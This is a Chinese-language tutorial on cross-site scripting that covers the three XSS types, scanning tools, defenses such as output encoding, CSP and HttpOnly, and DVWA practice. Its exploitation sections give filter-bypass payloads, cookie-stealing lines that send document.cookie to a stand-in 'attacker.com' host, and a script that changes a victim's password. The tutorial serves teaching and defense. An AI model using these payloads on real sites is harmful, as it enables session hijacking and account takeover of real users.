XSS跨站脚本攻击:原理、利用与防御
如果说SQL注入是“数据与代码不分家”的典型,那XSS就是“脚本与内容混着来”的灾难。2025年MITRE的CWE Top 25榜单里,XSS(CWE-79)排到了第一。你随便打开一个网站,搜索框、评论留言、个人签名,但凡没做过滤,就有可能被人塞进恶意脚本。
XSS的破坏力没有SQL注入那么“直给”——它不直接拖库,但它能偷你的Cookie、劫持你的会话、在你面前弹个假登录框、甚至用你的浏览器去挖矿。而且它的触发条件是“受害者点了一下攻击者发的链接”,成本极低,防不胜防。
这篇文章讲清楚XSS是什么、三种类型怎么区分、攻击者到底能干什么、以及怎么防。
1. XSS是什么?
XSS(Cross-Site Scripting,跨站脚本攻击)核心原理:攻击者把恶意脚本(通常是JavaScript)注入到看起来正常的网页里,当其他用户访问这个页面时,浏览器就会执行那段脚本。
名字里的“跨站”容易让人误解。它不是说攻击者黑了另一个网站,而是说恶意脚本从“不可信源”跑到了“可信域的上下文”里。比如你在某博客评论区写了一段<script>alert('XSS')</script>,博客没过滤,直接存进数据库。其他读者打开这篇文章时,浏览器以为这是博客自己的脚本,就执行了。脚本能做任何JavaScript能做的事:读Cookie、发请求、改DOM。
说白了,攻击者把自己写的脚本,塞进了别人网站的页面里。
2. 2026年XSS为什么还是第一?
看看CWE Top 25 2025年的数据:XSS(CWE-79)得分43.23,比第二名的SQL注入(28.72)高出一大截。它连续多年霸榜,原因很现实:
- 输入输出点太多:搜索框、评论、用户名、URL参数、HTTP头、JSONP回调……任何一个地方漏了过滤,就是漏洞。
- 防御总被绕过:你以为过滤了
<script>,攻击者可以用<img src=x onerror=alert(1)>;你以为转义了尖括号,还有DOM型XSS不走服务器。 - 现代前端越来越复杂:React的dangerouslySetInnerHTML、Vue的v-html、各种富文本编辑器,稍有不慎就把后端的安全工作全毁了。
- WAF很难完美拦截:XSS payload变种太多,
alert(1)可以写成al\u0065rt(1)、eval('al'+'ert(1)'),甚至用CSS expression(老IE)。
2025-2026年,几个真实案例:
CVE-2026-2145:某知名开源论坛存储型XSS。攻击者可以在帖子标题里插入恶意脚本,任何打开该帖子的用户都会被执行。修复版本发布时,官方公告里写的是“我们过滤了标题中的HTML标签”——但攻击者早用Unicode编码绕过去了。
CVE-2026-0993:某主流邮件客户端DOM型XSS。攻击者发送一封带有特殊构造的HTML邮件,用户只要预览(不用点链接),脚本就在邮件客户端内部执行,可以读取用户通讯录、发邮件、甚至触发转账。CVSS评分8.2。
CVE-2025-5489:某电商平台反射型XSS。攻击者在商品搜索URL里嵌了恶意脚本,通过短链接在微信群传播。用户点进去后,脚本自动添加了攻击者的收货地址并下单了几千元的礼品卡。该漏洞被利用超过两周才被发现。
XSS不是“上古漏洞”,它每天都在真实世界发生。
3. XSS的三种类型
3.1 反射型(Reflected XSS)
恶意脚本不在服务器存储,而是通过URL参数传递给服务器,服务器原样把脚本塞回响应页面里。
http://victim.com/search?q=<script>alert('XSS')</script>服务器返回的搜索页里,直接把<script>当成搜索结果的一部分输出了。受害者得点一下这个链接才会中招。通常攻击者会配合短链接、钓鱼邮件、社交工程来诱导点击。
特点:不持久,一次性的,但传播成本极低。
3.2 存储型(Stored XSS)
恶意脚本被存进服务器数据库,之后任何人访问受影响页面都会中招。这是危害最大的类型。
典型场景:评论区、个人签名、商品评价、论坛帖子。攻击者发一条带<script>的评论,服务器存了,之后每个打开这个页面的用户都会执行那段脚本。
特点:一次注入,长期生效,范围广。
3.3 DOM型(DOM-based XSS)
脚本不经过服务器,完全在前端JavaScript里动态生成DOM时触发。
var name = location.hash.substring(1);document.write("欢迎 " + name);攻击者构造URL:http://victim.com#<img src=x onerror=alert(1)>,document.write直接把恶意内容写进页面。服务器日志里甚至不会记录这个payload,传统WAF很难拦截。
特点:纯前端漏洞,日志难追踪,防御重心在前端。
4. XSS能干什么?不只是弹窗
很多人觉得XSS就弹个alert(1),没啥危害。那是你还没见过真的利用链。
-
窃取Cookie:
document.cookie能读到当前域下的Cookie(除非设置了HttpOnly)。攻击者可以把Cookie发到自己服务器:new Image().src='http://attacker.com/steal?cookie='+document.cookie。拿到Cookie就能冒充你登录。 -
键盘记录:监听
keydown事件,把你输的所有内容都发走——密码、私信、信用卡号。 -
内网扫描:用
fetch请求内网IP(192.168.x.x),判断哪些端口开放、哪些服务在跑,把内网拓扑摸一遍。 -
CSRF联动:XSS执行后可以自动发送表单请求,修改你的邮箱、密码、收货地址。
-
钓鱼弹窗:在页面上浮一个假的登录框,等你输完密码,脚本发走,再优雅地提示“密码错误,请重试”。
-
挖矿:偷偷加载一个Crypto Miner脚本,你CPU风扇狂转,攻击者钱包进账。
-
蠕虫传播:在社交网络上,一条存储型XSS可以让所有看帖的人自动转发带毒的链接。2005年Sammy蠕虫感染了百万MySpace用户,就是XSS干的。
所以别小看XSS。
5. 手动检测与利用
5.1 基础试探
在所有用户能输入的地方(搜索框、评论、URL参数)插入最简单的payload:
<script>alert('XSS')</script>如果浏览器弹窗了,说明存在反射型或存储型XSS。
没弹窗不代表安全。可能有过滤或WAF。试试下面这些变形:
<img src=x onerror=alert(1)><svg onload=alert(1)><a href="javascript:alert(1)">click</a><iframe src="javascript:alert(1)"><input onfocus=alert(1) autofocus><body onload=alert(1)>5.2 绕过基础过滤
如果过滤了<script>标签,可以尝试大小写混合:<ScRiPt>alert(1)</sCrIpT>。
如果过滤了alert字符串,可以用编码:<img src=x onerror=eval('al\u0065rt(1)')>。
如果服务器对尖括号做实体编码(<变成<),那反射型可能被防住了,但DOM型XSS仍可能通过innerHTML或document.write触发。检测DOM型需要在浏览器控制台里手动跟踪JS代码。
5.3 利用:窃取Cookie
最简单的窃取payload:
<script>fetch('http://attacker.com/steal?cookie=' + document.cookie);</script>攻击者服务器端随便写个接收日志的脚本即可。注意:如果Cookie设置了HttpOnly,document.cookie读不到,那这条链就断了——这就是为什么生产环境必须给关键Cookie加HttpOnly。
5.4 利用:配合CSRF修改密码
如果目标网站修改密码的接口是GET或POST且没有CSRF Token,XSS可以直接触发:
<script>fetch('/change_password', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'new_password=hacked123'});</script>受害者根本不知道密码已经被改了。
6. 自动化工具
手动测完一些点之后,可以用工具做全面扫描。
6.1 XSStrike(专门测XSS的工具)
git clone https://github.com/s0md3v/XSStrikecd XSStrikepython3 xsstrike.py -u "http://example.com/search?q=test"XSStrike的特点是会分析后端过滤规则,然后自动生成绕过payload,比直接扔一堆payload更智能。
6.2 Burp Suite
用Burp Scanner的主动扫描,可以自动检测XSS。Pro版内置了大量XSS payload库。免费版可以用Intruder手动fuzz:
- 抓一个请求,把参数值设成payload位置
- 加载一个XSS payload字典(网上能下到几千条的fuzz list)
- 设置grep匹配规则,比如匹配
alert、confirm、prompt等关键词 - 跑完看响应,哪个payload让关键词出现了,说明可能成功
6.3 OWASP ZAP
ZAP的主动扫描包含XSS检测模块。使用步骤:
- 配置ZAP作为代理
- 浏览目标网站,让ZAP爬取所有页面和参数
- 右键目标 → Attack → Active Scan
- 扫描完成后,查看警报里的“Cross Site Scripting (Reflected)”和“Cross Site Scripting (Persistent)”
ZAP是免费的,功能接近Burp Pro,但对新手来说界面复杂一些。
6.4 dalfox(快速检测XSS)
go install github.com/hahwul/dalfox/v2@latestdalfox url "http://example.com/search?q=test" --silenceDalfox速度极快,适合批量扫URL,但不擅长处理需要登录的复杂场景。
7. 防御方案
防御XSS的核心原则:永远不要信任用户输入的内容。无论是存数据库还是直接输出到页面,都必须做处理。
7.1 输出编码(Output Encoding)—— 最核心的防御
根据输出位置的不同,做对应的编码:
| 输出位置 | 编码方式 | 示例 |
|---|---|---|
| HTML标签内容 | HTML实体编码 | < → <,> → > |
| HTML属性值 | 对引号做编码 | " → " |
| JavaScript字符串 | 转义引号和反斜杠 | ' → \' |
| CSS样式 | 严格限制,避免使用expression | 建议禁止用户自定义CSS |
| URL参数 | URL编码 | ? → %3F |
在Java Spring里:用HtmlUtils.htmlEscape()。
在PHP里:用htmlspecialchars($string, ENT_QUOTES, 'UTF-8')。
在Python Django里:模板默认自动转义,除非你写了|safe。
在Go的html/template里:自动转义,但注意不要用template.HTML。
7.2 输入验证(白名单优先)
对用户输入做格式校验,只允许符合预期的字符。
- 邮箱:只允许字母、数字、
@、.、-、_ - 手机号:只允许数字和
+ - 用户名:只允许字母数字下划线
不要只靠黑名单过滤<script>,总有绕过方法。
7.3 Content Security Policy(CSP)
CSP是浏览器端的最后一道防线。通过HTTP响应头告诉浏览器:哪些来源的脚本可以执行,哪些不能。
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com上面的策略只允许执行同源和指定CDN的脚本,任何内联<script>或eval()都会被拦截。即使攻击者注入了<script>alert(1)</script>,浏览器也不会执行。
建议:从只报告不拦截的模式(Content-Security-Policy-Report-Only)开始,等日志里没有误报再切到强制模式。
7.4 设置Cookie的HttpOnly标志
Set-Cookie: sessionId=xxxxx; HttpOnly; Secure; SameSite=Strict加了HttpOnly后,document.cookie读不到这个Cookie,攻击者窃取会话的难度大增。注意:这只能防XSS窃取Cookie,不防CSRF或别的攻击。
7.5 富文本场景:使用安全的HTML过滤库
业务真的需要用户提交HTML(比如富文本编辑器),不要自己写正则过滤,直接用成熟的库:
- Java:OWASP Java HTML Sanitizer
- Python:Bleach
- Node.js:sanitize-html
- PHP:HTML Purifier
这些库会解析HTML DOM树,只允许安全的标签和属性(比如<b>、<i>、<p>),删掉onerror、onload等事件属性。
7.6 避免危险的API
前端代码里少用或不用:
document.write()innerHTML(除非你确定内容是纯文本)eval()setTimeout()/setInterval()接收字符串参数
优先使用textContent或innerText替代innerHTML。
8. 靶场实战(DVWA)
本地搭个DVWA练手最快:
docker run --rm -p 80:80 vulnerables/web-dvwa登录默认账号admin/password,把Security Level调到low。
反射型XSS:在输入框里输入<script>alert('XSS')</script>,点submit,弹窗。
存储型XSS:进留言板(Guestbook),同样payload,提交后刷新页面,每次加载都弹窗。这就是存储型的威力。
中级难度:DVWA中级过滤了<script>,但可以用<img src=x onerror=alert(1)>绕过。
高级难度:用了htmlspecialchars做编码,基本上反射型XSS被防住了。但DOM型XSS还是要看具体代码逻辑。
9. 常见问题
| 问题 | 原因与解决办法 |
|---|---|
| 加了htmlspecialchars还是被XSS了 | 输出位置在标签属性里,属性没加引号。例如<input value=<?php echo $value; ?>>,攻击者输入>闭合标签。对策:属性值必须用引号包起来。 |
| CSP报了很多内联脚本错误 | 网站本身用了很多内联<script>或onclick属性。建议重构,把JS移到外部文件,或使用CSP的nonce机制。 |
| 富文本编辑器内容被过滤过度 | 换用更细粒度的白名单库,不要自己写过滤逻辑。 |
| 攻击者用Unicode编码绕过 | 确保后端在输出前做规范化处理(Normalization Form KC)。 |
| WAF拦了正常请求 | WAF规则过于敏感。把误报的URL加入白名单,或调整规则等级。 |
10. 总结
XSS能霸榜CWE Top 25这么多年,不是因为它多高级,而是因为它太普遍了。每个网站都有用户输入的地方,每个前端都可能忽略一个innerHTML。而攻击者只要找到一个点,就能偷走所有用户的会话。
防御XSS没有银弹,需要组合拳:输出编码 + CSP + HttpOnly + 输入验证 + 前端安全习惯。把其中任何一项做到极致都能挡掉大部分攻击,但现实往往是多个环节都有疏漏。
建议学习路径:
- 搭DVWA,手动复现反射型、存储型、DOM型XSS
- 用XSStrike和Burp Scanner扫一遍你自己的小项目
- 给自己的网站加上CSP报告模式,观察有多少内联脚本在报错
- 读一下OWASP XSS Prevention Cheat Sheet,把里面7条规则背下来
搞懂XSS,你至少能防住Web安全里最常见的一类漏洞。
相关资源:
- OWASP XSS Prevention Cheat Sheet:https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- PortSwigger XSS实验室:https://portswigger.net/web-security/cross-site-scripting
- DVWA项目:https://github.com/digininja/DVWA
- CSP评估器:https://csp-evaluator.withgoogle.com
- XSStrike:https://github.com/s0md3v/XSStrike
免责声明
本教程(包括所有文字、代码、工具示例及技术描述)仅供网络安全教育、学术研究及合法的防御测试使用。
-
禁止非法用途:严禁将本教程所述技术用于任何未经授权的系统入侵、数据窃取、账户爆破、服务破坏或其他违反中华人民共和国法律法规及国际公约的行为。使用者须自行确保所有操作均已获得明确授权。
-
使用者独立担责:您理解并同意,因使用本教程导致的任何直接或间接后果(包括但不限于数据丢失、系统损坏、法律纠纷、行政处罚等),均由您个人承担全部责任。教程发布方不承担任何形式的连带或补偿责任。
-
测试环境要求:所有漏洞验证、渗透模拟等操作必须在您拥有合法控制权或已获书面授权的测试环境中进行,严禁在未授权的真实生产系统、公共网络或他人设备上实施。
-
工具与代码风险:本教程引用的第三方工具及代码示例可能存在安全缺陷或法律风险,使用前请自行审计和评估。因使用此类工具导致的任何损失,发布方不承担责任。
-
信息准确性:发布方尽力保证技术描述的准确性,但鉴于网络安全技术快速演变及环境差异,不保证内容在所有场景下均正确无误、无时效滞后或完全适用。
-
法律责任保留:若您利用本教程从事违法活动,发布方将保留向执法机关举报及追究您法律责任的权利。
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









